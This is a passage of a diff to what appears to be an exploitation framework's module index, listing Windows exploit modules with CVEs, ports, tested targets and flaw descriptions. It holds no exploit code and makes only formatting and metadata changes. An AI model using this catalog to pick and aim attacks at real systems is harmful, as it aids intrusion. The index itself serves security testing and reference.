"post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -188033,16 +193132,14 @@ "exploit_windows/misc/mercury_phonebook": { "name": "Mercury/32 PH Server Module Buffer Overflow", "fullname": "exploit/windows/misc/mercury_phonebook", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-12-19", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack-based buffer overflow in\n Mercury/32 <= v4.01b PH Server Module. This issue is\n due to a failure of the application to properly bounds check\n user-supplied data prior to copying it to a fixed size memory buffer.", + "description": "This module exploits a stack-based buffer overflow in\n Mercury/32 <= v4.01b PH Server Module. This issue is\n due to a failure of the application to properly bounds check\n user-supplied data prior to copying it to a fixed size memory buffer.", "references": [ "CVE-2005-4411", "OSVDB-22103", @@ -188051,17 +193148,13 @@ "platform": "Windows", "arch": "", "rport": 105, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP0/SP1 English", "Windows 2000 Pro English ALL" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/mercury_phonebook.rb", "is_install_path": true, "ref_name": "windows/misc/mercury_phonebook", @@ -188069,6 +193162,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188076,9 +193178,7 @@ "exploit_windows/misc/mini_stream": { "name": "Mini-Stream 3.0.1.1 Buffer Overflow", "fullname": "exploit/windows/misc/mini_stream", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-12-25", "type": "exploit", @@ -188086,7 +193186,7 @@ "Unknown", "Ron Henry " ], - "description": "This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1\n By creating a specially crafted pls file, an attacker may be able\n to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1\n By creating a specially crafted pls file, an attacker may be able\n to execute arbitrary code.", "references": [ "CVE-2009-5109", "OSVDB-61341", @@ -188095,17 +193195,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 ENG", "Windows XP SP2 ENG" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/mini_stream.rb", "is_install_path": true, "ref_name": "windows/misc/mini_stream", @@ -188113,6 +193209,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188120,16 +193225,14 @@ "exploit_windows/misc/mirc_privmsg_server": { "name": "mIRC PRIVMSG Handling Stack Buffer Overflow", "fullname": "exploit/windows/misc/mirc_privmsg_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-02", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier.\n By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG\n command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads\n may be necessary. This module is based on the code by SkD.", + "description": "This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier.\n By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG\n command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads\n may be necessary. This module is based on the code by SkD.", "references": [ "CVE-2008-4449", "OSVDB-48752", @@ -188139,16 +193242,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/mirc_privmsg_server.rb", "is_install_path": true, "ref_name": "windows/misc/mirc_privmsg_server", @@ -188156,6 +193255,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188163,9 +193271,7 @@ "exploit_windows/misc/mobile_mouse_rce": { "name": "Mobile Mouse RCE", "fullname": "exploit/windows/misc/mobile_mouse_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-09-20", "type": "exploit", @@ -188181,12 +193287,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 9099, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "default" ], @@ -188214,16 +193316,14 @@ "exploit_windows/misc/ms07_064_sami": { "name": "MS07-064 Microsoft DirectX DirectShow SAMI Buffer Overflow", "fullname": "exploit/windows/misc/ms07_064_sami", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-11", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the DirectShow Synchronized\n Accessible Media Interchanged (SAMI) parser in quartz.dll. This module\n has only been tested with Windows Media Player (6.4.09.1129) and\n DirectX 8.0.", + "description": "This module exploits a stack buffer overflow in the DirectShow Synchronized\n Accessible Media Interchanged (SAMI) parser in quartz.dll. This module\n has only been tested with Windows Media Player (6.4.09.1129) and\n DirectX 8.0.", "references": [ "CVE-2007-3901", "OSVDB-39126", @@ -188233,16 +193333,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ms07_064_sami.rb", "is_install_path": true, "ref_name": "windows/misc/ms07_064_sami", @@ -188250,6 +193346,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188257,9 +193362,7 @@ "exploit_windows/misc/ms10_104_sharepoint": { "name": "MS10-104 Microsoft Office SharePoint Server 2007 Remote Code Execution", "fullname": "exploit/windows/misc/ms10_104_sharepoint", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-14", "type": "exploit", @@ -188297,24 +193400,21 @@ "targets": [ "Microsoft Office SharePoint Server 2007 SP2 / Microsoft Windows Server 2003 SP2" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/misc/ms10_104_sharepoint.rb", "is_install_path": true, "ref_name": "windows/misc/ms10_104_sharepoint", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/netcat110_nt": { "name": "Netcat v1.10 NT Stack Buffer Overflow", "fullname": "exploit/windows/misc/netcat110_nt", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-12-27", "type": "exploit", @@ -188331,16 +193431,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal nc.exe" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/netcat110_nt.rb", "is_install_path": true, "ref_name": "windows/misc/netcat110_nt", @@ -188348,6 +193444,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188355,9 +193460,7 @@ "exploit_windows/misc/nettransport": { "name": "NetTransport Download Manager 2.90.510 Buffer Overflow", "fullname": "exploit/windows/misc/nettransport", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-02", "type": "exploit", @@ -188365,7 +193468,7 @@ "Lincoln", "dookie" ], - "description": "This exploits a stack buffer overflow in NetTransport Download Manager,\n part of the NetXfer suite. This module was tested\n successfully against version 2.90.510.", + "description": "This exploits a stack buffer overflow in NetTransport Download Manager,\n part of the NetXfer suite. This module was tested\n successfully against version 2.90.510.", "references": [ "CVE-2017-17968", "OSVDB-61435", @@ -188374,16 +193477,12 @@ "platform": "Windows", "arch": "", "rport": 22222, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/nettransport.rb", "is_install_path": true, "ref_name": "windows/misc/nettransport", @@ -188391,6 +193490,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188398,9 +193506,7 @@ "exploit_windows/misc/nvidia_mental_ray": { "name": "Nvidia Mental Ray Satellite Service Arbitrary DLL Injection", "fullname": "exploit/windows/misc/nvidia_mental_ray", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-12-10", "type": "exploit", @@ -188409,7 +193515,7 @@ "Donato Ferrante", "Ben Campbell " ], - "description": "The Nvidia Mental Ray Satellite Service listens for control commands on port 7414.\n When it receives the command to load a DLL (via an UNC path) it will try to\n connect back to the host on port 7514. If a TCP connection is successful it will\n then attempt to load the DLL. This module has been tested successfully on Win7 x64\n with Nvidia Mental Ray Satellite Service v3.11.1.", + "description": "The Nvidia Mental Ray Satellite Service listens for control commands on port 7414.\n When it receives the command to load a DLL (via an UNC path) it will try to\n connect back to the host on port 7514. If a TCP connection is successful it will\n then attempt to load the DLL. This module has been tested successfully on Win7 x64\n with Nvidia Mental Ray Satellite Service v3.11.1.", "references": [ "URL-http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf", "OSVDB-100827" @@ -188417,16 +193523,12 @@ "platform": "Windows", "arch": "", "rport": 7414, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/nvidia_mental_ray.rb", "is_install_path": true, "ref_name": "windows/misc/nvidia_mental_ray", @@ -188434,6 +193536,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188441,9 +193552,7 @@ "exploit_windows/misc/plugx": { "name": "PlugX Controller Stack Buffer Overflow", "fullname": "exploit/windows/misc/plugx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-07-27", "type": "exploit", @@ -188451,24 +193560,18 @@ "Professor Plum" ], "description": "This module exploits a stack buffer overflow in the PlugX Controller (C2 server).", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": 13579, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PlugX Type I (old)", "PlugX Type I", "PlugX Type II" ], - "mod_time": "2023-07-14 12:46:26 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/plugx.rb", "is_install_path": true, "ref_name": "windows/misc/plugx", @@ -188476,6 +193579,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188483,32 +193595,26 @@ "exploit_windows/misc/poisonivy_21x_bof": { "name": "Poison Ivy 2.1.x C2 Buffer Overflow", "fullname": "exploit/windows/misc/poisonivy_21x_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-06-03", "type": "exploit", "author": [ "Jos Wetzels" ], - "description": "This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.\n The exploit does not need to know the password chosen for the bot/server communication.", + "description": "This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.\n The exploit does not need to know the password chosen for the bot/server communication.", "references": [ "URL-http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware" ], "platform": "Windows", "arch": "", "rport": 3460, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Poison Ivy 2.1.4 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/poisonivy_21x_bof.rb", "is_install_path": true, "ref_name": "windows/misc/poisonivy_21x_bof", @@ -188516,6 +193622,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188523,9 +193638,7 @@ "exploit_windows/misc/poisonivy_bof": { "name": "Poison Ivy Server Buffer Overflow", "fullname": "exploit/windows/misc/poisonivy_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-24", "type": "exploit", @@ -188535,7 +193648,7 @@ "juan vazquez ", "Jos Wetzels" ], - "description": "This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server.\n The exploit does not need to know the password chosen for the bot/server communication.", + "description": "This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server.\n The exploit does not need to know the password chosen for the bot/server communication.", "references": [ "OSVDB-83774", "EDB-19613", @@ -188545,18 +193658,14 @@ "platform": "Windows", "arch": "", "rport": 3460, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1", "Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1", "Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/poisonivy_bof.rb", "is_install_path": true, "ref_name": "windows/misc/poisonivy_bof", @@ -188564,6 +193673,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188571,16 +193689,14 @@ "exploit_windows/misc/poppeeper_date": { "name": "POP Peeper v3.4 DATE Buffer Overflow", "fullname": "exploit/windows/misc/poppeeper_date", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-27", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in POP Peeper v3.4.\n When a specially crafted DATE string is sent to a client,\n an attacker may be able to execute arbitrary code. This\n module is based off of krakowlabs code.", + "description": "This module exploits a stack buffer overflow in POP Peeper v3.4.\n When a specially crafted DATE string is sent to a client,\n an attacker may be able to execute arbitrary code. This\n module is based off of krakowlabs code.", "references": [ "CVE-2009-1029", "OSVDB-53560", @@ -188589,16 +193705,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "POP Peeper v3.4" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/poppeeper_date.rb", "is_install_path": true, "ref_name": "windows/misc/poppeeper_date", @@ -188606,6 +193718,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188613,16 +193734,14 @@ "exploit_windows/misc/poppeeper_uidl": { "name": "POP Peeper v3.4 UIDL Buffer Overflow", "fullname": "exploit/windows/misc/poppeeper_uidl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-27", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in POP Peeper v3.4.\n When a specially crafted UIDL string is sent to a client,\n an attacker may be able to execute arbitrary code. This\n module is based off of krakowlabs code.", + "description": "This module exploits a stack buffer overflow in POP Peeper v3.4.\n When a specially crafted UIDL string is sent to a client,\n an attacker may be able to execute arbitrary code. This\n module is based off of krakowlabs code.", "references": [ "OSVDB-53559", "CVE-2009-1029", @@ -188631,16 +193750,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "POP Peeper v3.4" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/poppeeper_uidl.rb", "is_install_path": true, "ref_name": "windows/misc/poppeeper_uidl", @@ -188648,6 +193763,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188655,16 +193779,14 @@ "exploit_windows/misc/realtek_playlist": { "name": "Realtek Media Player Playlist Buffer Overflow", "fullname": "exploit/windows/misc/realtek_playlist", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-12-16", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Realtek Media Player(RtlRack) A4.06.\n When a Realtek Media Player client opens a specially crafted playlist, an\n attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Realtek Media Player(RtlRack) A4.06.\n When a Realtek Media Player client opens a specially crafted playlist, an\n attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-5664", "OSVDB-50715", @@ -188673,16 +193795,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Realtek Media Player(RtlRack) A4.06 (XP Pro All English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/realtek_playlist.rb", "is_install_path": true, "ref_name": "windows/misc/realtek_playlist", @@ -188690,6 +193808,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188697,9 +193824,7 @@ "exploit_windows/misc/remote_control_collection_rce": { "name": "Remote Control Collection RCE", "fullname": "exploit/windows/misc/remote_control_collection_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-09-20", "type": "exploit", @@ -188715,12 +193840,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 1926, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "default" ], @@ -188749,9 +193870,7 @@ "exploit_windows/misc/remote_mouse_rce": { "name": "Remote Mouse RCE", "fullname": "exploit/windows/misc/remote_mouse_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-15", "type": "exploit", @@ -188770,12 +193889,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 1978, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "default" ], @@ -188804,9 +193919,7 @@ "exploit_windows/misc/sap_2005_license": { "name": "SAP Business One License Manager 2005 Buffer Overflow", "fullname": "exploit/windows/misc/sap_2005_license", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-01", "type": "exploit", @@ -188823,16 +193936,12 @@ "platform": "Windows", "arch": "", "rport": 30000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sap Business One 2005 B1 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/sap_2005_license.rb", "is_install_path": true, "ref_name": "windows/misc/sap_2005_license", @@ -188840,6 +193949,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188847,9 +193965,7 @@ "exploit_windows/misc/sap_netweaver_dispatcher": { "name": "SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow", "fullname": "exploit/windows/misc/sap_netweaver_dispatcher", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-08", "type": "exploit", @@ -188857,7 +193973,7 @@ "Martin Gallo", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher\n service. The overflow occurs in the DiagTraceR3Info() function and allows a remote\n attacker to execute arbitrary code by supplying a special crafted Diag packet. The\n Dispatcher service is only vulnerable if the Developer Traces have been configured\n at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2\n SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).", + "description": "This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher\n service. The overflow occurs in the DiagTraceR3Info() function and allows a remote\n attacker to execute arbitrary code by supplying a special crafted Diag packet. The\n Dispatcher service is only vulnerable if the Developer Traces have been configured\n at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2\n SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).", "references": [ "OSVDB-81759", "CVE-2012-2611", @@ -188869,17 +193985,13 @@ "platform": "Windows", "arch": "", "rport": 3200, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3", "SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb", "is_install_path": true, "ref_name": "windows/misc/sap_netweaver_dispatcher", @@ -188887,6 +193999,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188894,16 +194015,14 @@ "exploit_windows/misc/shixxnote_font": { "name": "ShixxNOTE 6.net Font Field Overflow", "fullname": "exploit/windows/misc/shixxnote_font", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-10-04", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in ShixxNOTE 6.net.\n The vulnerability is caused due to boundary errors in the\n handling of font fields.", + "description": "This module exploits a buffer overflow in ShixxNOTE 6.net.\n The vulnerability is caused due to boundary errors in the\n handling of font fields.", "references": [ "CVE-2004-1595", "OSVDB-10721", @@ -188912,16 +194031,12 @@ "platform": "Windows", "arch": "", "rport": 2000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ShixxNOTE 6.net Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/shixxnote_font.rb", "is_install_path": true, "ref_name": "windows/misc/shixxnote_font", @@ -188929,6 +194044,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -188936,9 +194060,7 @@ "exploit_windows/misc/solarwinds_amqp_deserialization": { "name": "SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE", "fullname": "exploit/windows/misc/solarwinds_amqp_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-19", "type": "exploit", @@ -188957,12 +194079,8 @@ "platform": "Windows", "arch": "cmd", "rport": 5671, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -188990,9 +194108,7 @@ "exploit_windows/misc/solidworks_workgroup_pdmwservice_file_write": { "name": "SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write", "fullname": "exploit/windows/misc/solidworks_workgroup_pdmwservice_file_write", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-02-22", "type": "exploit", @@ -189000,7 +194116,7 @@ "Mohamed Shetta ", "bcoles " ], - "description": "This module exploits a remote arbitrary file write vulnerability in\n SolidWorks Workgroup PDM 2014 SP2 and prior.\n\n For targets running Windows Vista or newer the payload is written to the\n startup folder for all users and executed upon next user logon.\n\n For targets before Windows Vista code execution can be achieved by first\n uploading the payload as an exe file, and then upload another mof file,\n which schedules WMI to execute the uploaded payload.\n\n This module has been tested successfully on SolidWorks Workgroup PDM\n 2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).", + "description": "This module exploits a remote arbitrary file write vulnerability in\n SolidWorks Workgroup PDM 2014 SP2 and prior.\n\n For targets running Windows Vista or newer the payload is written to the\n startup folder for all users and executed upon next user logon.\n\n For targets before Windows Vista code execution can be achieved by first\n uploading the payload as an exe file, and then upload another mof file,\n which schedules WMI to execute the uploaded payload.\n\n This module has been tested successfully on SolidWorks Workgroup PDM\n 2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).", "references": [ "CVE-2014-100015", "EDB-31831", @@ -189009,18 +194125,14 @@ "platform": "Windows", "arch": "", "rport": 30000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)", "SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb", "is_install_path": true, "ref_name": "windows/misc/solidworks_workgroup_pdmwservice_file_write", @@ -189028,6 +194140,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -189035,9 +194156,7 @@ "exploit_windows/misc/splayer_content_type": { "name": "SPlayer 3.7 Content-Type Buffer Overflow", "fullname": "exploit/windows/misc/splayer_content_type", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-04", "type": "exploit", @@ -189045,7 +194164,7 @@ "xsploitedsec ", "sinn3r " ], - "description": "This module exploits a vulnerability in SPlayer v3.7 or prior. When SPlayer\n requests the URL of a media file (video or audio), it is possible to gain arbitrary\n remote code execution due to a buffer overflow caused by an exceeding length of data\n as the 'Content-Type' parameter.", + "description": "This module exploits a vulnerability in SPlayer v3.7 or prior. When SPlayer\n requests the URL of a media file (video or audio), it is possible to gain arbitrary\n remote code execution due to a buffer overflow caused by an exceeding length of data\n as the 'Content-Type' parameter.", "references": [ "OSVDB-72181", "EDB-17243" @@ -189053,16 +194172,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/XP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/splayer_content_type.rb", "is_install_path": true, "ref_name": "windows/misc/splayer_content_type", @@ -189070,6 +194185,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189077,16 +194201,14 @@ "exploit_windows/misc/stream_down_bof": { "name": "CoCSoft StreamDown 6.8.0 Buffer Overflow", "fullname": "exploit/windows/misc/stream_down_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-12-27", "type": "exploit", "author": [ "Fady Mohamed Osman " ], - "description": "Stream Down 6.8.0 seh based buffer overflow triggered when processing\n the server response packet. During the overflow a structured exception\n handler is overwritten.", + "description": "Stream Down 6.8.0 seh based buffer overflow 